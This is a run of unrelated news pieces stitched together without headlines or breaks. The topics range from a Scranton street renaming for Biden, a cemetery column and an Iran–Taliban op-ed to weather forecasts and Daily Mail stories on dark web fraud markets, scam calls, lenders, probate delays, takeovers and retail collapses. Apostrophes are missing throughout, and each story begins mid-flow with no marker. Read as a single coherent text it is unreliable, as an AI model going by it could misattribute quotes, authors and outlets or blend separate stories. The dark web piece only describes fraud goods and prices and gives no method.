A council-created committee of officials that spent months studying the renaming effort recently issued a report recommending the rechristening of the expressway as President Joseph R. Biden Jr. Expressway and Spruce Street as Biden Street. The proposed renaming is both a feasible and appropriate way to honor Biden, who was born at St. Marys Hospital on Hickory Street in South Side and lived the first 10 or so years of his life at 2446 N. Washington Ave. in Green Ridge, the committee concluded.

Council voted 5-0 on Tuesday to advance legislation authorizing the renaming  setting up a final vote next week  after several residents and business owners voiced concern about the proposal.

Some suggested the city rename only the expressway, which they argue would appropriately honor Biden and his Scranton connection without inconveniencing Spruce Street businesses and residents. Among them was Danielle Fleming, founder and CEO of Noteology, the boutique perfumery and custom perfume studio at Spruce Street and Wyoming Avenue.

Among other concerns, Fleming said renaming Spruce would require Noteology to change all printed marketing and other materials that bear the businesss address and alert all of its more than 200 suppliers of the address change. It would also undermine years of investment in search engine optimization and geotargeting aimed at raising Noteologys profile and drawing patrons to the business, she said.

So its something that weve built proudly, and we dont quite understand why it would have to all be erased when we could just do the (Central) Scranton Expressway, Fleming said.

Alex Molfetas, owner of Center City Print on Penn Avenue, also argued for renaming only the expressway. Noting his objections are apolitical, Molfetas argued renaming Spruce would create financial, time and resource burdens for residents and business owners alike.

It is not right to say to businesses that this is a short-term inconvenience when in fact it is much more than that, Molfetas said, noting hes discussed the issue with numerous people who would be impacted.

The committee, which includes Councilmen Bill Gaughan and Kyle Donahue, initially considered the roughly 20-block Wyoming Avenue as a possible candidate for the renaming due to its prominence within the downtown business district and connection with Green Ridge. Officials ultimately determined renaming Spruce would impact far fewer addresses, and renaming the expressway would impact none.

City Planner Don King, who also served on the committee, wrote in an April email that there are about 422 building addresses on Wyoming, compared to 35 on Spruce. Those figures dont necessarily capture all the businesses and tenants that might share a building, he noted at the time.

Gaughan  who called in January for Scranton to honor Biden with a street name and has served as the chief advocate of the idea since  defended the proposal to rechristen Spruce and the expressway.

I personally do not think that we should settle for anything less or be (wary) of making this change, he said, arguing city fathers chose to honor numerous former presidents with street names and Biden deserves the same honor as a native son. I appreciate the business owners that came tonight and I think we all sympathize with them and ... any inconvenience (they experience) because of this change.

Officials will work people impacted by the proposed change to alleviate those inconveniences, Gaughan vowed. He added hes heard from hundreds of people across the city and several Spruce Street businesses that support the renaming.

I believe very strongly that this will, in the grand scheme of things within the big picture, actually enhance historical tourism in Scranton and, in the long term, will actually benefit the businesses in the downtown and on Spruce Street, Gaughan said.

Council will likely hold a final vote on the renaming legislation next week during Tuesdays meeting, which begins at 6:30 p.m., following a public caucus at 5:45.
Hillary Clinton is hard to get on the phone.

Its unlikely that the former first lady, U.S. senator and secretary of state is involved in the daily affairs of the Clinton Foundation, but Im just arrogant enough to think an internationally famous politician almost elected the first female Leader of the Free World might make time to chat with me.

After all, Im calling from Scranton. About her Mom and Dad. Sort of.

Hugh and Dorothy Rodham are buried here, in the Washburn Street cemetery Ive been reporting on the past couple of Wednesdays. The sprawling West Scranton graveyard, formally named Hyde Park Cemetery, is in a perpetual state of despairing disrepair. So is Abington Hills Cemetery in South Abington Twp.

Both are owned by Dominic Graziano, a good man in a losing fight to maintain the cemeteries with inadequate funds and staff. A past owner was convicted of robbing the cemeteries perpetual care funds and apparently never paid $202,000 in court-ordered restitution.

That guy is dead. So is the owner who followed him. Graziano is left holding the lawn and leaf bag.

Part of a skeleton crew of three, Graziano has no hope of staying ahead of the relentless waves of vegetation swallowing headstones and burying graves at both cemeteries. God bless the few who volunteered to help with mowing and other maintenance, but money is the lone long-term solution.

Not money for Graziano. He is adamant that any financial help should go to the perpetual care fund. Restoring the fund will make immediate improvements possible and ensure the cemeteries future upkeep, he said.

I dont need money, the fund needs money, Graziano said. I have to think about how (the cemeteries) will be taken care of when Im gone.

With an endowment fund of nearly $300 million, surely the Clinton Foundation can spare a few bucks to shore up the perpetual care fund of the cemetery where Hillarys parents are buried. Scores of veterans are buried in both cemeteries.

So I reached out to the Clinton Foundation at its Manhattan headquarters. I sent two emails to the press office and left a detailed voicemail. Surely my messages would stand out in the deluge of daily correspondence processed by a global charity founded by a former president of the United States.

In the meantime, I made the local rounds. U.S. Rep. Matt Cartwright, D-8, Moosic, serves on the House Appropriations Committee and chairs a subcommittee that oversees $82.5 billion in funding for the Justice Department, NASA and a host of other agencies.

With close to $83 billion to spend, surely Cartwright could find some cash to help shape up veterans graves in the heart of his district.

Nope. Cartwright wants to help, but can see no practical way to spend federal money on a pair of cemeteries in his district. Appropriations are made through legislation, and while the Veterans Administration has a fund for maintaining veterans memorials, it applies to overseas monuments such as the Aisne-Marne American Cemetery and Memorial in Belleau, France, and the Manila American Cemetery and Memorial in the Philippines.

As a practical matter, it would be very difficult to push a bill to maintain American cemeteries to the exclusion of all but one in Scranton, he said. No one will vote for that. And if we took Veterans Administration money away from taking care of live patriots to fight weeds, there would be no money left.

Cartwright said charities like Wounded Warrior Project and the Clinton Foundation are better bets. Legislation, at least at the federal level, is likely impossible.

Newly minted state Sen. Marty Flynn, D-22, said legislation may be possible at the state level. He promised to explore options and get back to me. City Office of Economic and Community Development Director Eileen Cipriani told me Mayor Paige Gebhardt Cognetti and her administration are prepared to help with the Mayors Volunteer Corps.

Created last year as a mechanism for civic-minded Scrantonians to donate time and effort to beautify and maintain neighborhoods, city parks and civic assets in need of care, the corps could supply much-needed immediate elbow grease.

Graziano and Cipriani spoke Tuesday and agreed to explore using the corps. Hes grateful for the help, but may have a hard time using it.

I really appreciate them offering to send people over here, but I dont have any equipment for them to use, Graziano said.

Buying equipment and paying a staff large enough to handle the job will require the kind of money that likely can only come from a friend with deep pockets. And parents who chose Scranton as the home of their eternal rest.

I received a reply from the Clinton Foundation on Tuesday. It directed me to another email address for Hillarys personal office, but its a start. If I cant get word to the former secretary of state, maybe Ill reach out to Chelsea.

If it gets the job done, Ill even settle for Bill.

CHRIS KELLY, the Times-Tribune columnist, is a lifer on the cemetery beat. Read his award-winning blog at timestribuneblogs.com/kelly. Contact the writer:kellysworld@timesshamrock.com;@cjkink on Twitter; Chris Kelly, The Times-Tribune on Facebook.
Sometimes, the enemy of an enemy is an even greater enemy. For Iran, the humiliation of the U.S. in Afghanistan brings to the fore a fiercer foe. If the threat from the Taliban is not as existential to the Islamic Republic as the military presence of its most powerful adversary, the triumphant militia nonetheless poses a grave danger at an especially inconvenient moment.

Although Iran has stepped up its diplomatic outreach to the Taliban, the government of incoming President Ebrahim Raisi, facing growing discontent at home amid fading hopes of quick economic relief from the West, must now reckon with renewed perils in the east. The Taliban may have no interest in bringing down the Iranian regime, but its ascendancy in the Afghan civil war is sure to send fresh waves of refugees flooding across the 560-mile border between the countries, accompanied by a spike in drug and human trafficking, as well as increased terrorist activity.

It also endangers trade, which sanctions-shackled Iran can ill afford, and jeopardizes an ambitious railway project that would channel Afghan exports to Iranian ports, and thence to the wider world.

So any sense of schadenfreude in Tehran over President Joe Bidens attempts to rationalize the American withdrawal from Afghanistan will have been stifled by the alarming news that the Taliban has taken control of Islam Qala, a key border post between the two countries. Reports from the area say Afghan security forces and customs officials fled to the Iranian side when Taliban militia arrived.

Islam Qala is not only an important crossing point for bilateral trade, it is also the gateway to the Afghan city of Herat, the location of a large Iranian consulate. In 1998, militiamen allied with the Taliban slaughtered 11 Iranians there, including nine diplomats, bringing the two countries to within a whisker of war.

The Iranians and the Taliban managed to come to a modus vivendi, but relations remained hostile, and not only because of their competing sectarian world views: The mostly Sunni militiamen regard the Shiism of Iran as a heresy. When they ruled Kabul, the Taliban treated Afghanistans own Shiite minority with extreme brutality. They now claim to tolerate the sect, but terrorist groups that enjoy Taliban protection have stepped up attacks against Shiite targets.

The more practical-minded Taliban leaders have long recognized that Iran is a useful conduit to Western markets for Afghan opium, the militias main source of revenue. And its not their problem if some proportion of the drug falls off the back of the trucks to poison the Iranian population. As a direct consequence, Iran has one of the worlds highest rates of addiction.

That will almost certainly rise as the Taliban press home their advantage against Afghan government forces in the aftermath of the U.S. pullout. Needing more weapons and fighters, the militia will ramp up its opium exports. The effect will be felt in Iran long before it raises the anxieties of Western law-enforcement officials.

Iran is also home to more than 750,000 Afghan refugees, and perhaps 2 million more who are undocumented. The guards and officials of Islam Qala undoubtedly will be joined by legions of others as fighting between the Taliban and Afghan government forces intensifies in the months ahead.

And then theres terrorism. Although Iran has provided shelter and safe passage to top al-Qaeda leaders, it is regarded with implacable hostility by many other extremist groups allied to the Taliban. With the Americans out of the way, these groups will look farther afield for fresh targets. This is already raising alarms in China and Russia, but Tehran, by way of proximity and animosity, is the most vulnerable.

The more so because the regime has little leverage with the Taliban. For Iran, Afghanistan represents the weakest link in the network of proxies and partners through which it wields influence in its neighborhood. There is no Afghan equivalent of the Lebanese Hezbollah, the Houthi rebels in Yemen or the Shiite militias in Iraq. Although the Iranians have recruited Afghan refugees to fight  mainly to serve as cannon-fodder  in places like Syria, Tehran has never deployed them in their homeland. A suggestion by Iranian Foreign Minister Jawad Zarif that some of these fighters could help the Afghan government brusquely has been turned down.

Zarifs offer cant have escaped the attention of the Taliban leadership. Not that they need any reminding of what they regard as Iranian perfidy  from Tehrans role in the creation of the anti-Taliban Northern Alliance in the late 1990s to its enthusiastic support for the U.S.-led invasion in 2001.

So, even as they smiled oleaginously at the Taliban leaders across the table in Tehran last week, the Iranians knew they were facing an old antagonist, newly reinvigorated. Those smiles will not last long.

BOBBY GHOSH is a Bloomberg Opinion columnist who focuses on the Middle East and Africa.
London, KY (40741)

Today

Some sun in the morning with increasing clouds during the afternoon. A stray shower or thunderstorm is possible. High 84F. Winds ENE at 5 to 10 mph..

Tonight

Cloudy. A stray shower or thunderstorm is possible. Low near 65F. Winds NE at 5 to 10 mph.
Port Allen, LA (70767)

Today

Scattered thunderstorms in the morning, then mainly cloudy during the afternoon with thunderstorms likely. High 87F. Winds WSW at 5 to 10 mph. Chance of rain 80%..

Tonight

Scattered thunderstorms during the evening becoming more widespread overnight. Low 73F. Winds light and variable. Chance of rain 80%.
Just imagine an online world where you are totally anonymous. Every click, website visited and item ordered is hidden and can't be traced back to you.

Welcome to the 'Dark Web'  a criminal's paradise, where crooks can trade in drugs and weapons, stolen credit card details and counterfeit goods.

And because activity in this internet underground cannot be traced, they can operate undetected by the police.

Surfing the Dark Web: Reporter Amelia with independent cyber-security expert Chris Underhill

For years, experts have warned that fraudsters use the Dark Web to buy and sell our personal data, which they can then exploit to con victims out of their life savings.

So I've come to Devon to meet Chris Underhill, an independent cyber-security expert, to see for myself what is going on in this part of the internet.

It may surprise some but you don't need a complicated computer system and endless encrypted passwords to access the Dark Web. We are sitting in Mr Underhill's very civilised home office at his personal computer.

For obvious reasons, I won't say exactly how we did it  but after just a few seconds we are in. At first glance, nothing seems terribly amiss.

We are taken to a homepage, which aside from being purple, looks like any other search engine with a space to type in what you are looking for.

The only clue we are somewhere suspect is the strapline: 'Explore. Privately. You're ready for the world's most private browsing experience.'

The Dark Web was created in the 1990s by the U.S. Navy to keep defence plans private, Mr Underhill explains.

Believed to be 5 per cent of the total internet and around the same size as the surface web, the standard internet used to access sites such as Google and Amazon, it's not all bad.

Going cheap: A Dark Web marketplace offering credit card and Paypal account details for prices starting at under $8 US

'It was not built for evil purposes', he says. 'Legitimate organisations such as Facebook and the New York Times have versions of their sites for the Dark Web for users to avoid censorship and give a voice to those living in repressed regimes. But, like any city there are areas where criminals work.'

The problem is it's all too easy for criminals to access the bad parts.

Mr Underhill shows me the World Market website  which he likens to the eBay of illegal shopping.

Categories are listed on the side and include 12,711 drugs listings, 3,787 for fraud and 647 for counterfeit goods.

When we click on fraud we browse sub-categories such as stolen credit card information (including names, card numbers and addresses) starting at 12 and online banking details. There are also listings called 'dumps' and 'drops'.

'Dumps' is the fraudsters' word for the raw information stolen from a bank card's magnetic strip which is put onto a fake card, Mr Underhill says. 'Drops' is slang for physical addresses used to send illegal or stolen goods.

Users can also buy fake website templates for High Street banks for just 22. These are often used for 'phishing scams'.

This is where customers receive an email or text claiming to be from their bank telling them to log into their account and update their details.

Scammer supplies: Sets of 100 mobile numbers for NatWest customers on sale for 33. The seller claims they were collected from banking logs and other sources of stolen information

But the link takes them to a copycat website, where crooks then steal their details and money.

One seller advertised several kits including one listed as 'Santander UK 2021 Latest Scam Page'.

This turned out to be an almost identical template of Santander's online banking page, plus some of its customers' details, including bank and security information.

The same user also sold pages for Nationwide, HSBC, Halifax, Lloyds and Amazon for 36 each.

Sets of 100 mobile numbers for NatWest customers were on sale for $45 (33). The seller claimed they were from banking logs and other sources of stolen information.

Fraudsters who buy these numbers can target customers posing as NatWest. The extra information about customers then helps the crooks appear more legitimate.

One scam sees victims tricked into thinking their account is under threat, and told to transfer their cash to a 'safe account'.

The fraudster then runs off with the money as soon as it lands. These so-called 'impersonation scams' involving bogus police and bank staff accounted for 14 per cent of all bank transfer scams last year.

Around 96.6 million was stolen  a fifth of all money lost to bank scams, according to trade body UK Finance.

Just over half was refunded by banks in line with a new code of conduct that promises fairer treatment of victims  but thousands were not so lucky.

Money Mail has exposed how some banks are failing fraud victims by not reimbursing them, with the worst offenders fully refunding customers in just 1 per cent and 3 per cent of cases.

PayPal accounts with balances between 725 and 1,088 were on sale for 5, with one seller offering a 'buy two get two free' deal.

Counterfeit documents: A Dark Web site selling fake UK passports for 1,000 and UK bank accounts for 700 - which could be used to siphon stolen funds

Crooks could also snap up Equifax credit reports with a score of more than 800 at a cost of 22. These can aid fraudsters in identity theft, which involves taking out loans and credit cards in victims' names.

Mr Underhill says: 'The people selling stolen details on sites like these are unlikely to be big scale hackers.

'Those criminals would be trading privately as quickly as possible. The ones we see here are more likely to be a disgruntled worker from a bank or small credit reference agency.'

There were also websites claiming to sell access to computers belonging to firms and individuals.

If someone could log into your laptop or tablet, they could install software which tracks everything you type, including account passwords and online banking details. Or they could lock the system, demanding a ransom.

The services of 'Black Hat hackers', offering to access online accounts with malicious intent, were also available.

Another site called 'Stock Insiders' welcomed users to the 'dark side of Wall Street' and offered up to 18,029 for tips about secret company acquisitions to take advantage of low stock prices.

Others sold counterfeit cash, fake passports for 1,000 and UK bank accounts for 700  which could siphon stolen funds.

Most crooks advertising on the Dark Web request payments in cryptocurrency such as Bitcoin as this makes it harder to be tracked, with prices listed in U.S. dollars.

After a few hours, my head is spinning. It seems unfathomable that this information is so easily available.

The only thing that seemed to slow crooks was the internet speed. I'm told these sites run 50 per cent slower than typical websites because of the encryption needed to hide the user's location.

Government agencies are working to clampdown on criminal activity on the Dark Web but this is difficult as users are anonymous and hard to trace.

'It is like whack-a-mole. Once you take down one site another just pops up,' adds Mr Underhill.

Banks are believed to have teams of experts who trawl the Dark Web looking for suspect activity.

HSBC and Nationwide say they work with specialist third parties to prevent fraud, while NatWest has a range of security measures to protect customers.

Santander adds that it uses a variety of tools to monitor the Dark Web for anything criminals might use to target customers.

Lloyds says it proactively identifies and removes information being sold on the Dark Web.

And PayPal says its dedicated security teams closely monitor and take steps to stop malicious activity from occurring.

But for all their security measures, tougher action is clearly needed. Fraudsters cannot be allowed to trade our data with such impunity.

a.murray@dailymail.co.uk
Some 89 per cent of over-65s say they are confident in taking suspicious calls

The average Briton has received more than 180 suspicious calls since March last year, new research reveals.

Analysis by Santander found there has been a 189 per cent increase in scam calls during the pandemic. And 47 per cent of Britons are failing to hang up straight away, with one in five saying it would be impolite.

Criminals have taken advantage of the uncertainty of the pandemic. Only 38 per cent of 18-24 year olds surveyed by Santander feel able to deal with a cold-caller.

In contrast, 89 per cent of over-65s say they are confident in taking suspicious calls, with only 7 per centreporting that they have been scammed over the phone.

Dave Lowe, head of fraud at Santander, says: 'Our research shows just how persuasive scammers can be  nearly half of the people who have fallen victim to a cold-calling scam said they were tricked by someone who was friendly and polite.'

The bank is partnering with the Chelsea Pensioners to launch a scam awareness campaign, encouraging would-be victims to tell fraudsters to 'push off, politely' and not to be worried about appearing rude.

h.kelly@dailymail.co.uk
Provident Financial has written to former customers telling them to use affordable credit providers and credit unions for future borrowing, as it was rapped by the City watchdog today for its 'arbitrary' mis-selling compensation scheme.

Around 280,000 customers of its closed doorstep lending arm will receive emails today directing them towards the UK's more-than 250 credit unions, and a group of nearly 50 affordable credit providers which are part of membership body Responsible Finance.

These organisations provide credit on more affordable terms than sub-prime lenders like Provident, give clear information about how much repayments will be, and won't lend to customers if they believe they would be over-stretching themselves.

Provident Financial is a personal credit provider headquartered in Bradford, UK

Some also don't give cash loans, instead paying money for essential items - for example washing machines or fridges - direct to the retailer.

Provident's doorstep lending arm went into administration in March and stopped lending on 10 May.

Doorstep lending is a form of high-cost, short-term credit where payments are collected at the borrowers' home.

A spokesperson from Provident said: 'People need access to credit, and we felt informing customers where credit could now be available to them was the right thing to do.'

One of the largest of the affordable providers that the letter signposted, the community interest company Fair for You, warned low-income borrowers to avoid predatory lenders and illegal loan sharks looking to 'make a fast buck off vulnerable families.'

It said they might look to take advantage of sub-prime lenders backing out of the market by targeting their former customers.

James Wilkinson, interim CEO of Fair for You CIC, said: 'We know that millions of people across the UK need to borrow money on a regular basis to buy household essentials and even food.

The chief executive of affordable credit provider Fair for You CIC has warned former customers of doorstep lenders about offers of credit that 'seem too good to be true'

'If you're in this position, please don't be tempted by illegal money lenders, shady individuals or offers that seem too good to be true.

'Make sure anyone you borrow from is regulated by the Financial Conduct Authority, and that there are online reviews or customer testimonials which show that it is trustworthy.'

Provident has said that its doorstep lending business became unprofitable due to the rise of claims management firms submitting thousands of compensation claims for mis-selling.

It made 25million worth of payouts in the second half of 2020, compared with 2.5million in the same period in 2019.

Provident has set aside 50million to compensate customers who were mis-sold loans by its doorstep lending arm under a so-called 'scheme of arrangement'.

Today, the Financial Conduct Authority wrote to Provident to express its disapproval of the scheme, saying it was offering customers less than they were entitled to and describing the 50million contribution as a 'potentially arbitrary figure.'

'Doorstep' lenders are short-term finance providers which collect from borrowers' homes

It said: 'The FCA has significant concerns about schemes of arrangement being used to circumvent paying customers their full redress entitlement in the way proposed by the scheme.'

But despite the FCA's concerns, it said it would not oppose the scheme in court when Provident appears at a sanction hearing on 30 July.

This, it said, was because Provident faces an imminent insolvency where creditors would probably receive even less than they would under the proposed scheme.

The FCA's letter continued: 'The [Provident] Group has stated clearly that it does not intend to increase its contribution or share profits with the redress creditors, such that the redress creditors are left with a 'take it or leave it' choice between a very low recovery under the scheme or a lower recovery (if any) in an insolvency.'

The FCA asked that Provident include its letter in its evidence for the hearing.

Provident chief executive Malcolm Le May said: 'We continue to believe that the scheme is fair and in the best interests of CCD [consumer credit division] customers.'

Provident creditors will vote on whether to approve the scheme on 19 July.

More than 50 per cent will need to vote in favour in order for it to be approved, and their claims must represent at least 75 per cent of the overall value of claims.

Another sub-prime lender, Amigo Loans, had its plans for a compensation scheme which capped payouts for historical complaints rejected by the High Court in May.

It has now said it is at risk of insolvency.
Grieving families who have been waiting months for probate face yet more delays after it emerged their loved ones' wills have been lost.

The blunder will cost one family thousands of pounds because they cannot sell their late mother's home until probate is granted.

Last month, Money Mail revealed how a private firm based in Essex is at the root of a major backlog of probate applications.

Probate delays: Exela Technologies, which was awarded a 4.5m contract by the Government, is revealed to have lost some of the wills they were responsible for scanning

The company, Exela Technologies, which was awarded a 4.5 million contract by the Government, is responsible for uploading digital copies of wills on to an online system.

But experts have complained of long waits for wills to be scanned and a high number of errors, causing yet more delays.

And when Money Mail visited the firm's office in an industrial estate in Harlow, Essex, we saw hundreds of boxes stacked up high inside.

Now readers say they are being told the firm has lost the original documents they submitted.

And until probate is granted, they cannot wrap up their loved ones' estates or give out inheritances.

Tony Paoletti, 57, and his sister Julie Taylor, 63, applied for probate in July last year after their mother Patricia died aged 81 in February. They received confirmation their documents had been received in September.

But despite chasing repeatedly, the siblings heard nothing until May, when Tony received an email that read: 'I am very sorry that our Harlow scanning contactor has lost the original will document you submitted'.

Tony was told to fill out a 'lost will questionnaire' and re-submit his application with a copy of the document, but is still waiting to hear back.

How we first reported the scandal at the Essex office

The pair now face paying around 4,000 in bills because they still cannot sell their mother's flat.

Tony, who lives with his wife Karen in Billericay, Essex, says: 'I am absolutely furious. If I had made a mistake like that at work, I would be sacked from my job.'

Stephen Bennett was also asked to fill in a 'lost will questionnaire' after Exela mislaid a family member's will. The father-of-two applied for probate in June and was told the documents had arrived in Harlow a week later.

But in July, HM Courts & Tribunals Service (HMCTS) wrote to say the original will could not be found.

It eventually turned up in the Harlow office and probate was granted 175 days after Stephen first applied.

Stephen, 62, who lives in Kent, says: 'The distress that this has caused to my whole family is completely unacceptable.

'Exela is clearly not fit for purpose and should not have this contract.'

He was paid a 100 goodwill gesture from HMCTS.

When a will is lost, executors are allowed to provide a copy of the document if the registrar agrees and they sign a statement of truth explaining what happened.

If there are no copies of the will, HMCTS staff will attempt to 'reconstruct' it. This could involve asking the deceased's solicitor for any notes made when the will was written.

Last week, the Ministry of Justice announced plans to hike probate fees for executors from 215 to 273 to tackle the department's 85 million deficit.

Stephanie Boyce, president of the Law Society, says: 'The Ministry of Justice's persistence of raising fees in the probate service is worrying, particularly when there are continued and significant delays to the probate service.

'Any increase in fees must be reflected in the service provided.'

An HMCTS spokesman says: 'We apologise for the distress caused and are urgently investigating these delays.'

Exela Technologies did not respond to any requests for comment.

f.parker@dailymail.co.uk
When Boris Johnson quietly ditched Britain's Industrial Strategy in March this year the event passed almost unnoticed.

The bitter truth is that more than two decades of overseas takeovers, many of them by predatory, private equity firms, has hollowed out the UK's command and control of its own economy.

Decisions about great swathes of industrial infrastructure from ports, airports and power production to water, steel and aerospace are made not in the national interest but on behalf of financially driven investors in far-off places.

A bridge too far?: Infrastructure champion John Laing, which managed the construction of the second Severn crossing (pictured), is now in private equity hands

No part of the economy has been unaffected and in the pandemic the private equity sharks have been buying key firms as if there were no tomorrow.

Among those in the wrong hands are the world's largest security company G4S, employing 533,000 people across the globe, and infrastructure champion John Laing, which managed the construction of the second Severn crossing, the Prince of Wales Bridge.

Most buyers are more interested in short-term returns, rather than 'Building Back Better' or 'levelling up'  the favourite mantras of the Government. There has also been private equity interest in the UK's depleted aerospace and engineering sector at engineer Senior and Ultra Electronics.

If you want to understand why there is so little consistency in the way Whitehall handles bids for British industrial and manufacturing gems, look no further than the grandiloquently named but universally deprecated Department for Business, Energy and Industrial Strategy.

It has become a temporary resting place for rotated secretaries of state with four occupants in as many years. Greg Clark, Andrea Leadsom and Alok Sharma all left a trail of unfinished business.

The latest incumbent, Kwasi Kwarteng, came to office early in 2021 with a pledge to clean up capitalism.

His initiative of audit reform is struggling to find parliamentary time. Kwarteng also is distracted by the ruin of Sanjeev Gupta's Liberty Steel empire  employing 3,000 people in the UK  itself the product of unsafe private finance provided by disgraced financier Lex Greensill and non-existent accountability. Gupta's GFG Alliance is the subject of a Serious Fraud Office probe.

Rapacious investors with private equity models have been allowed to make huge inroads. Four years of Brexit uncertainty, when the eyes of the political class were elsewhere, drove down valuations for many quoted firms on the London stock market. It has been open season for predators looking for bargains.

Aerospace is a depressing example  one of the sectors where Britain with its tremendous innovative history has punched above its weight.

Fortunately, the giants at the core of the sector  defence manufacturer BAE Systems, home of the Tornado and Typhoon fighters; and Rolls-Royce, maker of the world's most sought-after aero engines  are guarded from takeover by a 'golden share' held by the Government.

But we have seen the rest of the sector decimated. UK-quoted engineer Melrose, which boasts a private equity model including extraordinary financial rewards for its founders, bought GKN  which made cannonballs used in the Napoleonic Wars and the Spitfire in the Second World War  for 8billion in 2018.

G4S - now in private equity hands - is hardly the UK's most popular firm yet it is the world's largest security and surveillance firm and guards nuclear facilities and runs prisons

Mayfair-based Melrose shut GKN's Midland HQ and in 2019 axed the Kings Norton factory. It closed with the loss of 170 jobs over a two-year period.

Dorset innovator Cobham was bought in 2020 by Boston private equity outfit Advent which has been busy dismantling the world's leading maker of flight refuelling equipment ever since. Some 2.7billion of assets have been sold and vital UK tech lost.

In 2019, communications satellite maker Inmarsat was sold to private equity firms Apax and Warburg Pincus for 2.6billion.

The sales of Cobham and Inmarsat fatally denuded UK space expertise as the UK looked to withdraw from Europe's Galileo platform, leaving the Government scrambling for alternatives.

In March this year private jet facilities group Signature Aviation was the subject of a break-up bid by three private equity firms, one controlled by Microsoft founder Bill Gates.

Another critical aerospace firm, Meggitt, which makes components for civilian and fighter aircraft, is being sized up by a debt-fuelled US competitor.

As a result, the UK's supply lines have been eroded and valuable avionics and space-age research and development diverted away into less safe hands. The threat to national security has been palpable yet most of these transactions were nodded through.

During the pandemic predators have taken advantage of corporate weakness. G4S is hardly the UK's most popular firm yet it is the world's largest security and surveillance firm and guards nuclear facilities and runs prisons. It was sold to US private-equity-backed Allied Universal for 3.8billion.

The narrative behind most of these calamitous deals, which also has seen leading chip maker Arm and famous engineers such as Laird and Aggreko fall into overseas hands, is similar. Funded with cheap debt, assets are bought at low prices and flipped to new buyers swiftly.

The buyers are aided by feeble directors because deals trigger big payouts. Melrose chief Simon Peckham and senior colleagues could reap tens if not hundreds of millions in bonuses if their 'buy, improve and sell' private equity model produces super-returns from the dismemberment of GKN.

Melrose is transparent, as a quoted company with a private equity model, so every move is properly and fully disclosed and accounted for. That is far from the case in most private equity deals  where owners operating behind closed doors escape opprobrium for their actions.

What I find most disturbing is the way in which Britain's industrial base and its knowledge-based economy are undermined.

The greatest frustration is that our politicians and policy makers don't seem to understand what is happening.

It is only when companies such as Liberty Steel, custodians of the UK's great traditions in speciality steels, are brought low that policy makers confront the reality. By then it is too often too late to save the skills, R&D, manufacturing capacity and jobs vital to global Britain.

In allowing the skills and R&D to pass into the uncaring hand of financial engineers we are betraying future generations.
Royal favourite: The Duchess of Cambridge in a Seraphine coat

The Duchess of Cambridge's favourite maternity brand has listed on the London Stock Exchange with a 150million valuation. Shares in Seraphine, which floated under the ticker 'Bump', ended the day at 285.5p.

Its private equity owners Mayfair Equity Partners, which backed a management buy- out in December, cashed out 10.9million of its stake, but retained a holding of 42.7 per cent, worth 62million.

Chief executive David Williams sold 1.8million of shares, leaving him with a 6.8million stake, and brand director Chelsey Oliver pocketed 1.2million, retaining a 3.8million stake. The company and managers have earned a return on their investment of more than 70 per cent in just eight months.

It came as Revolution Beauty said it will join the public markets on Monday, with a 495million valuation.

Its two founders Adam Minto, 51, and Tom Allsworth, 55, each sold 15.7million of shares and retained a combined stake worth 156million. Seraphine was founded in 2002 by Cecile Reinaud, 47, in London, after she started designing outfits for pregnant friends.

She and private equity backers, Bridgepoint Growth, sold their stakes in December.

Seraphine was the Duchess of Cambridge's chosen brand for her three pregnancies, and its designs have also been worn by Pippa Middleton and actress Kate Hudson.

It raised 61million of fresh capital from the float.
Shops, restaurants and offices are battling landlords over 1.6billion of unpaid rent 16 months after the start of the pandemic, industry bosses revealed.

The coronavirus crisis has ripped through the High Street forcing businesses to chalk up around 7billion of rent debt owed to landlords.

The British Property Federation (BPF) has told MPs that its members are battling with tenants over 23 per cent of this sum  or 1.6billion.

The coronavirus crisis has ripped through the High Street forcing businesses to chalk up around 7bn of rent debt owed to landlords

Another 3.5billion or so has been paid back and 1.5billion is subject to agreements to reduce the debt, repay over a longer period or write it off completely.

Just a tenth of hospitality businesses have been able to pay their rent in full during the pandemic, while a quarter have paid part of their rent, often by taking on huge amounts of debt, UK Hospitality (UKH) said.

In retail, despite strong trading since shops reopened on April 12, between a tenth and 30 per cent of rent is still in dispute, says the British Retail Consortium. The enormous sums involved have sparked a fresh war of words.

Ghislaine Halpenny, director of strategy and external affairs at the BPF, told MPs on the Business Committee: There have been a number of well capitalised businesses who have not paid.

We know that has a severe impact as large companies are using their market power to abuse small landlords.

The group claims that one in seven commercial tenants have ignored approaches by their landlord to avoid entering talks to agree repayment plans, and believes the rent moratorium must be ended.

UKH has argued that negotiations have hit a stalemate because of landlords demanding unreasonable rent for periods when businesses were closed or trading was restricted.

Its chief executive Kate Nicholls said: The situation is improving, but there are still one in five, where there is a stalemate in negotiations.
The Business Secretary Kwasi Kwarteng has intervened in the 1billion takeover of Vectura by cigarette giant Philip Morris.

New York-based Philip Morris, which makes Marlboro, shocked the City last week when it made an offer to buy the Wiltshire-based inhaler maker.

Kwarteng has asked officials to find out what plans Philip Morris has for FTSE 250-listed Vectura, with the Government uncomfortable a cigarette company would seek to profit from conditions such as asthma and lung disease.

Questions: Business Secretary Kwasi Kwarteng (pictured) has asked officials to find out what plans Philip Morris has for FTSE 250-listed Vectura

The deal has sparked outrage from anti-smoking groups including Cancer Research UK and Action on Smoking and Health.

Jon Ashworth, Labours health spokesman, and Ed Miliband, the Labour business spokesman, wrote to Kwarteng over the weekend, urging the Government, under the Enterprise Act 2002 to intervene to mitigate the effects of public health emergencies.

Vectura is one of the countrys premier respiratory disease companies.

It has been targeted by Philip Morris as the company tries to diversify its business away from harmful tobacco products.
Taxpayers will be hit with a multi-million-pound bill from the collapse of Sir Philip Green's Arcadia empire.

The company behind Topshop went into administration in December resulting in more than 10,000 job losses.

Liquidators yesterday said they will return just 30million to creditors after the sale of Arcadia's assets, suggesting that HM Revenue & Customs will recoup a fraction of the 44million it is owed.

While HM Revenue & Customs will recoup a fraction of the 44m it is owed, Lady Tina Green (pictured with her husband), as a secured creditor, received the 50m she was owed in full

Arcadia went into administration hours before a change in the law that would have bumped the Treasury up above other unsecured creditors.

Administrators Deloitte had said unsecured creditors would only receive 10p in every 1 owed.

It came days after it emerged Lady Tina Green, as a secured creditor, received the 50million she was owed in full.

Accountants from Mazars will also now wind up 21 firms that make up the rump of the Arcadia group, including Topshop, Burton and Dorothy Perkins.

Adam Harris, joint liquidator, said: 'The liquidation is a large and complex undertaking.

'Our team will draw on its collective experience to maximise returns for creditors, including HMRC.'
Wall Street titans Goldman Sachs and JP Morgan raked in bumper profits between April and June amid a surge in deal-making.

JP Morgan, Americas largest bank which is often seen as a bellwether for the US economy, said profits more than doubled from the same time last year to 8.6billion.

